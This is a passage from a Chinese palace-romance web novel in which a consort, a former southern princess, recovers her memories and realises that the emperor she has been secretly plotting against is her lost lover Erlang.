这…… 纪王噎住。 明熙却并未解气,又道,“照你的说法,今后倘有任何男子不幸亡故,官府合该立时将他的妻儿一并殉葬,以免出现改嫁之事,致使亡魂死不瞑目。” 她语声里明显带了怒气,见此情景,纪王妃忙道,“还请贵妃息怒,王爷今日入宫前喝了些酒,怕是酒醉了才致使口不择言,还望县侯及夫人莫要放在心上才是。” 喝醉了? 明熙不由冷笑,他都喝成这样了还喝,怎么不索性喝死? 哪知正在此时,却听身边的萧元彻开口道,“朕记得年前叔王病重,太医曾叮嘱戒酒,怎的又喝了酒?” 纪王妃一脸为难道,“陛下有所不知,府中众人每日都在好言规劝,无奈王爷他就是不听,每日都要喝上几壶,府中众人也都是无法。” 就见萧元彻颔首道,“既如此,为了叔王身体着想,这个恶人只能由朕来当了。来人,将纪王府中所有酒类一并收走,再派人在旁严加看管,也好叫叔王早日戒酒。” 什么? 众人一愣,任谁都看得出来,君王此言明着是帮纪王戒酒,实则是要软禁他。 况且不叫纪王喝酒,怕不是要要了他的命? 第42章 还好,周帝长得好看!…… 闻此言,纪王也立时着急起来,红着一张胖到找不着下巴的脸道,“陛下这是要软禁本王不成?本王可是陛下的亲叔叔!!!” 这可又把纪王妃吓的一跳,赶紧拉着其胳膊劝道,“王爷醉的厉害,怎能如此对陛下说话?快些向陛下请罪吧……” 哪知话未说完,那醉鬼纪王却将她一甩,口中还哼道,“还不是你个妇道人家多嘴多舌?休要管本王!” 瞧他一条胳膊就好比象腿一般,竟险些将纪王妃从座椅上推落在地。 这般情景,直叫众人眼皮大跳,萧元彻也再度开口道,“朕看叔王醉得不清,还是先送回府中醒酒吧。” 话音落下,立时有宫人应是,上前来搀扶纪王。 众人只见,足足有十个小太监一同伸手,才好歹将纪王从殿中给架走,着实令人叹为观止。 宴会还在继续。 走了一个纪王,剩下的人可就有眼力见多了。 却见吏部侍郎柳公望问许父道,“在下看县侯公子一表人才,不知从前在何处读书?可曾取过功名?” 许父道,“犬子幼年的确有幸读过几年私塾,也曾参加过县试,只是后来因家事不得不中断了读书之路,进京之前,在县里一家粮铺做账房。” 话音落下,就见许家兄长许念礼一脸自卑的低了低头。 明熙看在眼中,径直开口道,“柳大人有所不知,本宫幼年时曾生了场重病,花光了家中所有积蓄,还叫爹娘背上了外债,兄长乃是因此中断了求学之路。本宫兄长从前读书时很是不错,头一次县试,就进了我们县的前十,连县令都夸他。” 众人这才恍然。 那位柳侍郎也忙道,“当年之事确实遗憾,不过今时不同于往日,县侯公子既有天赋,如今也可以继续读下去。” 明熙灵机一动,忙点头道,“说来本宫正有此想法,听说京城有家锦鸿书院很是有名,不知本宫的兄长能不能进?” 这话一出,一旁的户部尚书倒是呵呵笑了起来,道,“娘娘正是问着了,那锦鸿书院的山长,正是柳大人的同窗,二人可是交情匪浅。” 交情匪浅? 明熙便顺势又道,“那不知可否请柳大人帮忙问一问,书院眼下可还收学生?” 就见那柳侍郎忙道,“娘娘客气了,臣前几日还 曾跟山长聊过,如今书院正广开山门,招纳八方贤士,等臣回去替县侯公子写封信就好。” “那就有劳柳大人了。” 明熙莞尔一笑,许家人也赶忙跟着向那柳侍郎道谢。 一时间,殿中方才尴尬的气氛终于松缓了不少。 其实明熙心里很清楚,自己家中的情况,朝中官员们早就已经打听的差不多,今次吏部侍郎也是故意要做她这个人情,才有方才一问的。 如今她是被盛宠的贵妃,其他人自然想要攀附。 既然手中有权,为何不用? 毕竟那锦鸿书院的其他人,也未必见得比许家的哥哥强到哪里去。 顾念许家人舟车劳顿,今晚的宴会并没有持续太晚。 待到结束,明熙又派人将许家人护送出宫,去往御赐的府邸,而后自己也坐上御辇,遂随元彻一起去往延福宫。 趁着车厢内没有闲杂人等,她忍不住问萧元彻,“今夜是陛下邀请纪王来的吗?” 却见萧元彻道,“是太常寺安排的,他们大抵是觉得惠王来不了,便请了纪王来,毕竟都是亲王,也好给朕撑门面。” 原来如此。 明熙叹道,“早知如此,还不如不叫呢,平白给人添堵。” 看方才许家母亲向她告别时,面上还是凄然的模样,便知是果真被那醉鬼的胡言给伤到了。 切,这北周不是一向崇礼?一个亲王,连最基本的教养都没有。 而听她这样说,萧元彻却向她道起歉来,“也是朕不好,纪王一向爱在酒后说些混话,方才见他在宴间就应该先将他请出去的。” 明熙挑眉,“又不是陛下的错,陛下何须道歉?” 唔,这人方才喝了几杯酒,此时挨着他坐,都能闻见他身上的淡淡酒味。 哪知话音才落,那人却忽的揽住她的腰,将她一下抱到了腿上。 明熙吓了一跳,道,“陛下做什么?” 却见萧元彻摸了摸她的脸,道,“朕就知道,爱妃一向心地纯善。” ——虽然她与那许家人并非亲生的血缘,但一样忍不了许家母亲受辱。 这脾性一如当年。 不过今晚他也看得出来,那许家家风还算淳朴,并非偷奸耍滑之辈,也能叫人放心。 此时温香软玉在怀,叫他忍不住垂首想去一亲芳泽,哪晓得,却被明熙挡住了口,一脸嫌弃道,“陛下喝酒了,满是酒味。” 萧元彻挑眉,“你不是也喝了?” 明熙却道,“才没有,臣妾喝的分明是梅子汤,臣妾已经戒酒了。” 这叫萧元彻再度挑眉,“为何要戒酒?” 明熙咳了咳,“还不是喝酒误事。” 尤其上回鹿州马场的事,至今仍叫她后悔不已,到现在她还是想不起那一晚究竟发生了什么。 试想一下,她若是不小心将自己的身世给说出来,岂不是要招来大祸? 哪知萧元彻却叹道,“朕到宁愿你喝醉。” ——毕竟只有喝醉了,她才想起与他的过往。 明熙却不知他所想,只一脸得意道,“那陛下今后可要失望了,臣妾以后可再也不会喝酒的。” 萧元彻被逗笑,遂揽紧她的腰道,“那朕有酒味,正好熏一熏你。” 说着硬是低头去亲她,又惹来她捂嘴反抗,直叫车厢中欢笑不已。 声音传到车外,直叫一路跟随的凌霜很是意外,忍不住低声与身旁的赵怀眼神交流。 ——想方才宴间看起来那般严肃的周帝,此时居然在跟公主玩闹? 赵怀则颔了颔首,一副见怪不怪的样子,只悄悄用口型告诉她八个字,“情之所至,金石为开。” 这动了情的男人,可是什么样子都有可能的。 凌霜皱眉,又用眼神告诉赵怀,“这话说错了,分明是“精诚所至,金石为开。” 然而正在此时,御辇已经到了延福宫门外。 车轮才停稳,就见周帝从马车上落了地,怀中还抱着他们的公主,急匆匆的往正殿去了。 见此情景,赵怀赶忙前去挥散正殿中的闲杂人等,又贴心为二人关上殿门,而后便吩咐宫人备好热水,以预备着一会儿正殿中传。 对此,初来乍到的凌霜则不由在心间感叹——为了故国大业,公主真是牺牲的太多了。 所幸,周帝长得还算好看。 …… 疾风骤雨不知持续到几更。 待第二日明熙睡醒之际,外头已是日头高照了。 腰肢酸痛的还是不想起床,然思及还要去向太后问安,只得勉强从床上爬起落了地。 梳洗完毕,趁她用早膳之际,凌霜赶紧禀报今早从御膳房得到的消息,“凌雪说她已经与许家见了面,今后若有什么急事,可直接去许家送消息;那位吏部侍郎昨夜就给许家公子写好了推荐信,只等公子去那锦鸿书院报道就好。” 明熙点了点头道,“料想往后少不得有去许府攀关系的,叫凌雪替他们斟酌,该见的就见,不该见的,一律推拒就好。” 凌霜应是,待到明熙用罢早膳,又陪着她一道去了寿安宫。 今早确实是起得有些迟,待明熙到时,寿安宫中已有人在。 迈进殿中,但见萧玉容及温舒月正陪着太后说话,两人手中还拿着这几日新画的画稿。 自打淑太妃投毒一事后,萧玉容及静太妃母女都对她亲近了许多,此时一见她来,十三岁的萧玉容立时起身与她打招呼道,“贵妃来了?我跟温姐姐正在给母后看这两天新画的花样,你也来看看我们画的怎么样?” 明熙自然要夸奖几句,“二位画的栩栩如生,仿佛看到了真花一般。” 说着忙又向太后行礼,“臣妾参见太后。” 太后叫她平了身,便见温舒月又上前与她行礼道,“参见贵妃娘娘。” 说实话,明熙此时有些尴尬。 回想上次见面,是她才为萧元彻“挡”下大长公主簪子之时,那时人家顾念她受伤,还特意送了她祛疤的霜膏。 哪晓得今次再见,她便成了贵妃,抢先占有了本该属于对方的男人。 若有可能,她是真的很想向对方道一声抱歉。 又怕对方会觉得她故意挑衅,只好厚起脸皮,暂且将愧疚之心收回。 “温姑娘快请起,不必多礼。” 此时她忙道了一句,就见温舒月也应是起了身。 然正在此时,其发髻上的一只宝簪却跃入了明熙的眼帘。 那是一只梅花簪,簪身以赤金打造,簪头镶着六片紫色的宝石,摆成梅花的模样。 但明熙一眼就看出,那紫色的簪头,很有些玄机。 她不由道,“这簪子……似乎头一次见姑娘戴。” 话音才落,却见萧玉容凑上来道,“贵妃是不是也觉得很好看?我今早才看见时也觉得美极了,这个颜色的宝石很衬温姐姐的肤色呢。” 就见温舒月不好意思道,“是前几日家中长辈省亲回京时带给小女的,听说是登州的特产,倒叫贵人们见笑了。” “原来如此。” 明熙颔了颔首,看样子,这事还关乎温家内部。 ——旁人大抵看不出来,但她却一眼能认得出,此时温舒月头上戴的,并非什么宝石,而是一种叫做萤石的东西。 这萤石分为黄白绿紫许多颜色,不懂门道的会将其打造成宝珠的形态,称之为夜明珠。 但他们不知,这种东西,有致病性。 其中又以紫色致病作用最强。 此物离身体越近,时间越长,人就会病的越发严重。 严重者会日日咳血,失掉性命。 此事事关重大,然后既关乎温家内部,此时太后还在一旁,她还是先不要贸然开口的好。 而待温舒月话音落下,却见太后也发话道,“玉容跟舒月,你们二人先去翠英阁作画吧,哀家要与贵妃说些事。” 那二人便应是,便出了寿安宫。 明熙察言观色,但见太后神色严肃,便知大抵没什么好事。 而待殿中安静下来,果然就见太后道,“哀家听说,昨夜陛下将纪王从宴席上赶回了府中,还命人前去将其看管了起来, 不知到底是为何?” 明熙便道,“听闻纪王年前曾因饮酒过量以致身体抱恙,昨夜在席间,陛下眼见纪王又有醉酒之态,便向纪王妃询问,这才得知这半年来纪王饮酒愈发严重,为纪王的身体考虑,陛下这才命人撤走王府中的酒,并派了人专门去照顾纪王起居。” 话音落下,就见太后颔了颔首,道,“纪王酗酒,的确不是一日两日了,陛下如此做,也是出于血脉亲情,只是昨日的地点有些不合适,以至于今早连哀家都听见了传闻,说是纪王对你言语不敬,致使陛下不念叔侄亲情,将其软禁了。” “你身为贵妃,又是如今后宫唯一的妃嫔,合该时时规劝陛下,如昨夜那样的场合,无论如何,也该等到晚宴之后再说,否则一旦生出这样的谣言,又要如何去向百姓解释?” 这话一出,先不说明熙如何,一旁陪着她来的凌霜却是怒火直冲天灵盖。 ——这北周的太后未免有些不讲道理,且不说昨夜事实如何,她今早既然听到了谣言,为何不去斥责周帝,反而来为难公主? 若不是念在大计,她只怕要拔刀了! 公主殿下长这么大,何时受过这样的委屈! 第43章 他就是二郎! 当然,愤恨归愤恨,凌霜也还是理智的。 这老妇毕竟是这北周的太后,若是果真拔刀劈了对方,只会令局势更加糟糕。 而公主,也只怕要暂且忍下这口气。 正如此想着,就见明熙果然垂首道,“此事确是臣妾的疏忽,今后一定谨遵太后教诲,避免此等事情再度发生。” 眼见如此,那太后终于才颔了颔首道,“罢了,左右已经发生,今次就先如此吧。哀家这里还有一件事,太常寺近来在为哀家操办寿宴之事,你就多费些心思盯着些,莫叫他们太过铺张。” 明熙又应是,便见太后抬手道,“去吧,哀家也要去礼佛了。” 她便又向太后行了礼,领着凌霜出了寿安宫。 身后的殿中安静下来,太后却不由皱起眉,又轻轻揉起了太阳穴。 见此情景,一旁的王嬷嬷便知太后又犯了头疼,遂忙上前替太后按揉,又关问道,“娘娘可要传太医?” 太后摇头道,“昨夜没睡好罢了,传太医也是无用。哀家总觉得心里不踏实。” 王嬷嬷又赶忙劝道,“如今海清河晏,娘娘无需太过忧虑,合该放宽心才是。” 太后却叹道,“你不懂,陛下能为了一个花农之女当庭软禁纪王,吏部侍郎也上赶着写推荐信……如此下去,再过些日子,宫中岂不是又要多一个容妃?” 王嬷嬷一顿。 虽说贵妃也是平民出身,但今上可并非先帝啊…… 正思忖该如何劝慰,却见太后又道,“哀家这寿辰不能白过,皇后一事,必须得定下来。” …… 跟着明熙出了寿安宫,眼看走到僻静之处,凌霜终于忍不住道,“您受的委屈,总有一日要叫他们都知道才是!这北周也太欺负人了!” 明熙却淡定得多,只道,“做宠妃总要付些代价的,为了大业,我能忍。” 说着继续往前走。 凌霜只得跟上,走了几步却奇怪道,“您是要去哪?这不是回延福宫的路。” 明熙脚步未停,只道,“去翠英阁。” 温舒月的事情还没办呢。 翠英阁就在御花园中,没过多久,二人便到了地方,却见温舒月与萧玉容仍在画画。 明熙借口请教诗画之事,将温舒月单独叫到了一旁,直言道,“方才人多不好开口,恕我直言,姑娘今日戴的这只簪子并非寻常宝石,怕是对人有大害。” 什么,大害? 就见温舒月一愣,一脸疑惑道,“可否请娘娘明示?小女从前并未听说。” 明熙道,“姑娘应该知道,我家乡在洛州,位于在两国交界之处,从前时常有商人路过,听他们说,此物原叫萤石,虽然好看,却对人有害,在南国都是禁制售卖的。曾有人不信,悄悄将此物雕成手镯带在身上,不过一年便出现咳血之症,药石罔顾。” “姑娘若是不信,可悄悄托人去南边打听一下,便知我说得对不对。” 这话一出,就见温舒月大惊失色,立时将簪子从头上摘了下来,还用帕子给包了起来,连声向她道谢道,“多谢娘娘提醒,若此事为真,娘娘就是小女的救命恩人。” 明熙却只一笑,道,“姑娘客气了,我也不过举手之劳而已,姑娘如此好的品貌,不该被这种毒物所害。” 说着不再多言,只同对方告辞,回了延福宫。 凌霜依旧很是不解,待回到殿中,又忍不住问她道,“阖宫上下都知道,那位温姑娘是太后看中的皇后人选,公主为何要帮她?您就不怕有朝一日她成了皇后,就到您头上去了?” 到她头上? 却见明熙一笑道,“你当我一辈子都要当这个贵妃?” 待到成事之后,她自会想法子离开。 她堂堂公主,可不是给人做妾的。 再说,男人的心可是这世间最留不住的东西,别看萧元彻现在宠她,谁知以后会是什么样子? 然而凌霜没听出她的意思,立时道,“不错,您索性一举将皇后之位也拿下,到时这北周的江山一半就是您的!” 明熙,“……” 什么,皇后? 她一个贵妃,若是想跑,都得好好谋划,一旦当了皇后,岂不是要麻烦死? 再说,就太后那个模样,是断断不可能叫她当皇后的。 只是没等说话,却听门外传来高寿的声音,“启禀贵妃,奴才奉旨给您送樱桃来了。” 樱桃? 明熙立时眼睛一亮,忙叫凌霜将殿门打开,就见高寿领着三个小太监,每人捧着一个竹筐,筐里满满都是红艳艳的樱桃。 只把她眼睛都看直了,立时问道,“这是哪儿来的樱桃?” 却见高寿笑呵呵道,“这是才从济州运到上京的樱桃,陛下说您爱吃,教奴才们赶紧给您送来,您瞧,这梗都是绿的,可新鲜着呢。” 可不是! 明熙早已经将樱桃瞧了个清楚,只见红艳艳的果子上连着绿油油的梗,有的还带着翠绿的叶片,一瞧就新鲜。 要知道她长这么大,还是头一次见这么新鲜的樱桃呢,立时颔首道,“的确新鲜,真是多谢陛下恩赐,有劳公公给我送来。” 说着便叫人给高寿拿了些碎银做赏。 高寿乐呵呵的接过,又向她谢了恩,便领着人走了,明熙则立时叫人将樱桃洗了开吃。 天知道她有多爱吃樱桃! 这可是她从小到大最爱吃的水果! 只是南国气候湿热,不适宜樱桃生长,从前每年宫中只能从这北周来买。 然而须知从樱桃摘下再运到建业,往往需要几日的时间,等到时,只怕早已坏得不能吃,因此太府寺往往都是命人先将樱桃糖渍好后再送到建业。 所以她从前吃到的,都是糖渍过的樱桃,新鲜的,此时还是第一次尝! 唔,原来新鲜的樱桃是这样的味道。 嫩嫩软软,放在口中,一咬一包汁,甜中带着微酸,却是果子天然的味道,如若美酒一般,吃在肚子里甚至叫人有种微醺感觉! 实在太好吃,明熙一气儿就吃了一碟。 眼见凌霜与赵怀都在一旁眼巴巴看着,她立时又赏了他们一人一碟。 “都尝尝,这可是新鲜的,从前哪里能吃到!” 那二人 却还要婉拒,“这是御赐之物,主子您自己吃就好。” 明熙却道,“还有那么多呢,吃不完会坏的!再说又不是自己家的,吃着不心疼!” 凌霜,“……” 赵怀,“……” 看得出来,公主是真没当这是自己家。 但见盛情难却,二人只好都尝了一点,不出意外的都是眼睛一亮。 “这新鲜的果然就是好啊!”赵怀叹道。 凌霜也点头如捣蒜,“不错不错,此处能长出如此好吃的水果,可见还是有长处的。话说回来,这东西在此地也应该很贵吧?” 明熙正顾着吃樱桃,赵怀便答道,“那是必然,有道是樱桃好吃树难栽,物以稀为贵嘛!再说这都是进贡之物,选的都是佳品,你瞧瞧这几个筐里的,个个鲜红饱满,必定价值连城!” 凌霜不由感慨,“周帝还是很大方的,居然一口气给公主送了这么多。” “不过话说回来,他是如何知道公主喜欢吃樱桃的?莫非公主从前向他提过不成?” 这叫明熙一愣,吐出口中的樱桃核后摇了摇头,“我并没有同他提过,他是如何知道的?” 却见赵怀忙道,“此物乃是珍品,连奴才都觉得好吃,必定是人见人爱的,周帝觉得您爱吃,也在情理之中。” 这倒也说得过去,明熙便没再多想,继续吃了起来。 一阵过后,眼见肚皮已经吃饱,筐里却还剩了许多,她又带着凌霜几个将剩下樱桃做成了酥酪,糖渍,以及泡成了樱桃酒。 如此一来,接下来的许多天,她都将有吃不完的樱桃了,真是想想都开心。 而令明熙没想到的事,今日的惊喜还不止樱桃,待到暮色四合,用过晚膳之后,萧元彻又给她拿了一盒珍珠出来。 是上好的东珠,有白黑紫粉各种颜色,最小的也比黄豆大,大的更是犹如鸽子蛋一般。 只把明熙看得意外,道,“这是哪里来的珍珠?” 却见萧元彻道,“今日登州府才进献的,不是快到端午了,拿去穿五色绳吧。” 五色绳? 明熙不由睁大眼睛,“陛下没开玩笑吧?这么大的珍珠用来穿五色绳?” 萧元彻倒是一脸坦然,“这有什么好开玩笑的?朕又不是给不起?乾明宫得库里还有的是,你要用,叫人去拿就成。” 明熙却又挑起眉来道,“陛下怎的忽然对臣妾这么好,该不会做了什么亏心事吧?” 萧元彻被逗笑一下,只拍着胸膛道,“朕坦坦荡荡,绝无任何愧对爱妃之事。” 说着却又无不认真道,“朕晓得,今早太后少不得在你面前提了纪王之事,此是朕没有考虑周全,应该早些亲自去向太后解释的,叫你受委屈了。” 闻言,明熙不由又挑起眉,原来是给她赔罪的。 也罢,念在今日的樱桃跟珍珠的份上,就先不跟他计较了。 她遂道,“陛下太过客气了,太后娘娘不过教了臣妾往后该怎么应对此类事件,并没有叫臣妾受委屈。” 说着便从盒中挑了几颗珍珠,道,“反正时间还早,咱们索性来编五彩绳吧。” 没想到萧元彻立时颔首道,“好啊。” 又立时叫人取了材料,与她一同编了起来。 无论南国还是北朝,这编五色绳都是女儿家的爱好,明熙原以为,萧元彻不会编,还打算教教他,没想道他竟然编的很有章法,看起来有模有样的。 这叫她奇怪起来,不由问道,“陛下以前编过这五色绳?” 却见萧元彻颔首,“的确曾编过,说来也有好几年了,所幸还没忘记。” 好几年了? 明熙又不由在心间暗想,莫非他又是在建业时,同那个给他腰牌的傻瓜学的? 毕竟这手法一看就是她们南国的。 心间忽然有些犯酸起来,她于是不再说话,只顾着编绳。 就是不知为何,方才还觉得五光十色的珍珠,也有些暗淡下来。 哪知正在此时,却见萧元彻将即将编好的彩绳往她腕上试,口中还道,“这么长,应该可以了吧?” 明熙不想理他,只由着他自己来试,没想到竟然十分合适。 连高寿都忍不住夸道,“陛下编的这彩绳不长不短,正适合贵妃娘娘的手腕,就跟量好了一样。” 没想到那人竟没脸没皮的嗯了一声,道,“毕竟每日都握,朕心间有数。” 明熙,“……” 脑中立时不由浮现每晚床榻间的场景,他握住她的手腕然后…… 脸有些烧,然而心间方才的酸意还未消,令她依然不想说话,只一口气将手中的彩绳编的差不多了,也往萧元彻腕上试。 没想到,竟然也十分合适。 这叫高寿又在一旁夸起来,“陛下与娘娘这默契,就仿佛从前编过一样,真是难得。” 明熙面上点头微笑,心里却呵呵——从前跟他编彩绳的还不知是谁! …… 眼见五色绳编完,时间也已经不早,萧元彻进了净房沐浴,高寿几个也自然跟了上去。 殿中清净下来,凌霜急忙凑到明熙跟前道,“奴婢想起来了。” 明熙唔了一声道,“想起什么了?” 却见凌霜道,“奴婢终于想起,周帝为何看着眼熟了!” 明熙原本并未当回事,只道,“为何?” 哪知凌霜道,“周帝与您从前身边那位二郎,十分相像。” “不,应该说除过二郎面上带着面具,其余简直一模一样!” 二郎? 这叫明熙一顿,忙道,“你确定吗?” 却见凌霜使劲点头,道,“确定。且不说身形,仪态,最要紧的是,他方才编五色绳的手法,简直跟当年二郎一模一样,那手法还是公主您教的呢。” 什么? 明熙彻底愣住。 第44章 她想起来了 随着凌霜话音落下,明熙的脑中忽然出现了一个画面—— 那年初夏,她的确曾与带着面具的二郎一起编五色绳,二郎初时并不会编,还是她手把手亲自教他的…… 难道…… 萧元彻就是二郎? 而随着这个念头一处,又有许多记忆的片段源源不断的从她的脑中冒了出来—— 那个夏夜,二郎曾给她吹过一首曲子,正如那夜她初到乾明宫时,萧元彻吹所奏的一样…… 二郎也曾陪她在建业城外骑马,见她害怕,便安慰她说有他在,定然不会叫她从马上摔下。 她曾叫二郎陪她一起做梨花膏; 二郎问她为何要叫赵怀几个把杏子皮剥掉,是她自己说杏子皮粗糙难以下咽…… 她还曾问过二郎有没有吃过新鲜的樱桃,说是有朝一日,希望能吃个够…… 难道竟是真的,二郎就是萧元彻? 那如此一来,当年给萧元彻腰牌,以至于放虎归山痛失国土的人,不就是她自己? 意识到这一点,明熙立时问凌霜道,“那,我是不是曾给过二郎腰牌?” 却见凌霜道,“奴婢不晓得您到底有无给过他腰牌,但当年您很是信任他,府中那么多乐师,只有他可自由出入公主府。” 明熙,“……” 那多半就是了。 她无论如何也没想到,那个笨蛋竟是她自己,而他们南齐,竟是毁在她的手上! 而紧接着,她又意识到一件更为要紧的事—— 倘若萧元彻就是二郎,那从一开始见面之时,他不就已经把她认出来了? 她试着回想,那时花朝节前,他来御花园找她,问她是怎么到这里来的,问她何时学会的种花,还跟她说对不起…… 后来又问她,他要怎么做,她才会原谅他…… 所以,那时他用极为熟稔亲近的语气同她说话,并非是他浪荡,而是他早已将她认了出来…… 原来从头到尾,他都知道她的身份。 那,他为何不直接告诉她一切? 为何后来将她调进乾明宫做御前女官? 后来还又封她做了贵妃,还封了许家人县侯? 他到底想做什么? 他又知不知道,她来这里原本是要刺杀他的? 倘若他知道,却又如此做,莫非是想顺着她再将南齐侄儿一网打尽? 还有,若他真是二郎,既在她的身边待了那么久,必定既认识凌霜,也认识赵怀…… 这也就意味着,她的一切打算跟谋划,都早已被他看的一清二楚…… 一时间,尘封的记忆如同决堤的洪水,源源不断的从她脑中冲出,这叫她一片混乱。 而就在这片混乱之中,却见殿门忽然被打开,确实沐浴过后的萧元彻回到了她面前。 “床寝已经备好,请陛下与娘娘早些安歇。” 高寿在旁垂首说完,便用眼神示意凌霜,带其一并离开了殿中。 只剩了明熙独自面对萧元彻,及脑海中的一片混乱。 “在做什么?怎么还不歇息?” 萧元彻笑吟吟的伸手将她从背后抱住,那熟悉的温热带着才沐浴过的清香一下将她包围,又顺道带出了她脑中的一些画面—— 是城郊的别院,摘下了面具的他与她床笫缠绵,他一遍遍的吻过她的唇瓣,又一遍遍的在她耳边叫她“阿真”。 对,他一直唤的都是“阿真”,而并非她以为的“阿贞”…… 眼看着,他又来亲吻她的耳畔,明熙忍下身体颤抖,道了声,“我还没有沐浴,二郎。” 二郎? 话音落下,就见那人也愣住,而后惊喜的看她道,“你想起来了?” 她想起来了? 其实她尚未想起全部,但仅凭这一句话,一切已经不需再怀疑了。 真的是他,他真的是二郎。 并不知她心间所想的萧元彻却很是高兴,一下转到她的面前道,“阿真,你终于想起来了?” 然而明熙却皱眉看着他道,“我要是想不起来,你要骗我一辈子么?” 什么? 萧元彻一愣,却见明熙又道,“打从一开始你就将我认出来了,那为什么不直接告诉我实情,还要在我面前演戏?” “看我在你面前自称臣妾,做出乖巧的样子,你很舒服么?” “不,” 萧元彻急忙摇头道,“不是你想的那样……” “那是怎么样的?” 明熙却自顾自的又道,“你还封了我做贵妃,我该跟你感恩戴德是吗?我一个亡国公主,能做上你的贵妃,已经算天恩了,是吗?” “就因我当初曾把你当成乐师,叫你为我奏乐,所以你如今就赏我个宠妃当,也叫我做些取悦你的事,这是在报复我?是吗?” “不,不是。” 萧元彻赶忙道,“朕从没有要报复你的想法,朕同你说过,在建业的日子,朕甘之如饴,朕也从来没觉得在你身边的那些日子是折辱。朕从头到尾,心间都只有你。离开你以后,朕每天都在后悔。” “后悔什么?” 明熙又皱眉道,“后悔没有跟我告别?没有求得我原谅你?” 随着往事渐渐清晰,她心间的愤怒与委屈也愈发强烈起来,忍不住又道,“我并非不讲道理之人,也从未想过要将你一辈子困在身边,你那时要是与我好好说,我根本不会拦你。难道在你心间,我是那等心胸狭窄之人,一点也不懂你的难处?” 话音落下,却见萧元彻顿了顿,垂下头来道,“对不起阿真,这的确是我的不对,也是我这辈子做过最为后悔之事。” 然而那姑娘却并想原谅他,而是又道,“若你心间真的在乎我,非我不娶,你登基之后,为何不到建业来提亲?” “还不是因为,我是敌国公主,你的臣子与母后,根本不会同意,所以你就趁我兄长驾崩,国中内乱之际发兵,一举把我的国都吞灭,再等着我来向你俯首称臣?” “却没想到,我这个傻瓜自己送上门来,还在你掌控下,演了那么多可笑的戏……” 说话间,她的眼泪已经涌出眼眶,滴滴跌落在地上,却又带着苦涩的,自嘲的笑容,直叫萧元彻的心如若刀割一般。 他立时道,“不,不是这样。当年我回到上京后,一直在想办法找你,可是竟没有你的消息,此后我派兵,不过是怕那叛贼会伤及你,其间也一直在寻你,可是却一直没有你的任何消息,直到你出现在寿安宫。” “我打从一开始就想跟你道歉,可是,可是你忘了我。” “我去问御医,御医说你脑中有淤血,若是贸然将事情告诉你,只怕你会脑中混乱,引发更严重的后果,所以只能暂且如此。我没有想瞒你一辈子,阿真,我也想叫你尽早恢复记忆!” 是啊,世上还有比最爱之人将自己忘记这般更加残忍的事吗? 天知道他比谁都想叫她恢复记忆,想起自己。 然而眼看话音落下,那姑娘却忽然冷静道,“我们的事,早在你当年离开时就结束了。我合该谢谢你,谢你对我这个亡国之女的收留,如今我已经恢复记忆了,该如何处置我,要杀要剐,悉听尊便。” “阿真!” 萧元彻无奈到了极点,只得试图张手去抱她,“我从来没有想过要伤害你,不要如此对我说话……” 哪知她却一下躲开,道,“不要碰我。” …… 那声音透过厚重的殿门,隐隐飘到院中,直叫正在外守着的高寿一愣。 ——他们怎么似乎听见了贵妃的哭声? ……刚才不是还好好的吗? 赵怀也意识到不对,试着看向凌霜,却见凌霜皱着眉,一脸不解的模样。 ——就算周帝果真就是二郎,公主也不该哭啊? ……这到底是怎么了? 然未等想出个结果,却见殿门忽然开启,周帝从中走了出来,一双长眉敛起,面上明眼可见的有些黯淡。 这叫众人愈发一头雾水,只得赶紧上前行礼。 萧元彻欲张口,却先深深叹了口气。 “回乾明宫吧。” 这叫高寿愈发纳闷起来—— 方二人还柔情蜜意的一起编彩绳,怎么忽然就要回乾明宫了? 却又不敢问,只能跟上君王脚步往外走。 然而没走几步,却见君王又顿步回头,同赵怀道,“她已经想起来了,你们要仔细看顾,若有什么,随时叫太医,及禀报与朕。” 什么? 公主想起来了? 赵怀一愣,忙应了声是,就见萧元彻重又抬步,终于出了院门,往乾明宫去了。 赵怀则同凌霜一道,赶紧进到了正殿。 “公主……” 凌霜等不及要说话,哪知明熙却先看向赵怀道,“你早知道是他了?否则又怎么会处处替他圆话?” 这叫赵怀一顿,只能垂首应是,“那时您去乾明宫送膳,周帝察觉您要刺杀他,就立时把奴才叫了过去,奴才这才知道,他便是您从前身边那位乐师二郎……” “其实他早把您认出来了,还派了御医悄悄与您诊治,是那御医说,您摔伤后脑中留有淤血,以至于缺失记忆,如果不是您自己想起,而是强行告知与您,只怕您脑中混乱,引发癔症……所以奴才不敢说。周帝也只能带您去做以前同您做过的事,希望触发您的记忆,叫您自己想起来。” …… 话音落下,却见明熙苦涩一笑,道,“如今我们都在他掌控之下,算是彻底暴露了。都是我不好,当年做过那样的蠢事就罢了,如今又害得你们也走不了。” 这叫赵怀一顿,赶忙道,“请恕奴才直言,周帝对您是真心的,他要是有歹心,一开始就杀您了,如今也是念着对您的情,一直没对益都的陛下及太后动手……” 话未说完,却见明熙又道,“那又如何?难不成我要留在这一辈子做他的妾室,以色侍人,待到哪天对我厌倦,把我打入冷宫,再将阿霁他们赶尽杀绝吗?” 赵怀一噎。 是啊,他们的公主那版尊贵,岂能轻易接受做人妾室? 但须知,周帝如今并未有皇后啊。 他索性道,“若他对您是真心,焉知您做不了这大周的皇后?” 这话一出,却见一旁的凌霜眼睛一亮道,“好主意,若公主您当上皇后,再生下这大周的太子,等周帝那天归了西,江山就由咱 们的太子来坐,这不就意味着,这大周的天下至少有一半是咱们的吗?” 赵怀,“……” 不得不说,这话极有道理。 然而明熙却又是苦涩一笑,道,“且不说我能不能当上这个皇后,再生下太子,就算有朝一日成真,阿霁该怎么办?我这个姑姑在上京安享荣华,他却只能偏居益都苟且偷生,兄长与父皇在天有灵,又要怎么想?” 这叫凌霜一顿。 有心想说,那皇帝都是他们当的,亡国也是他们的责任,跟公主并无关系…… 却又不敢说。 正想着该如何安慰之际,却见公主抬了抬手道,“你们先下去吧,我想自己静一静。” 凌霜一愣,与赵怀对视过后,只得应了声是,暂且退出了殿中。 …… 天知道,明熙这一夜是如何度过的。 从前的记忆忽然充满了脑间,反反复复的折磨她,也终于叫她知道,原来有时候忘记,是件好事。 没人知道,在失忆之前的那几年间,她是如何熬过来的。 父皇猝逝,他又不告而别,令她心灰意冷,遣散府中众人,只留了凌霜赵怀几个,躲去了无人知道的深山,仅与花鸟鱼虫作伴。 只因为那座热闹的建业城中,处处都是与他的记忆。 一旦身处其中,就会叫她想起与他的过往,心间满是伤心与失落。 …… 原以为熬过四年,终于能放下之时,哥哥又忽然身死,家国蒙难,而她又落到了这步田地…… 魏明熙啊魏明熙,这世上怎么会有你这样笨的人!!! 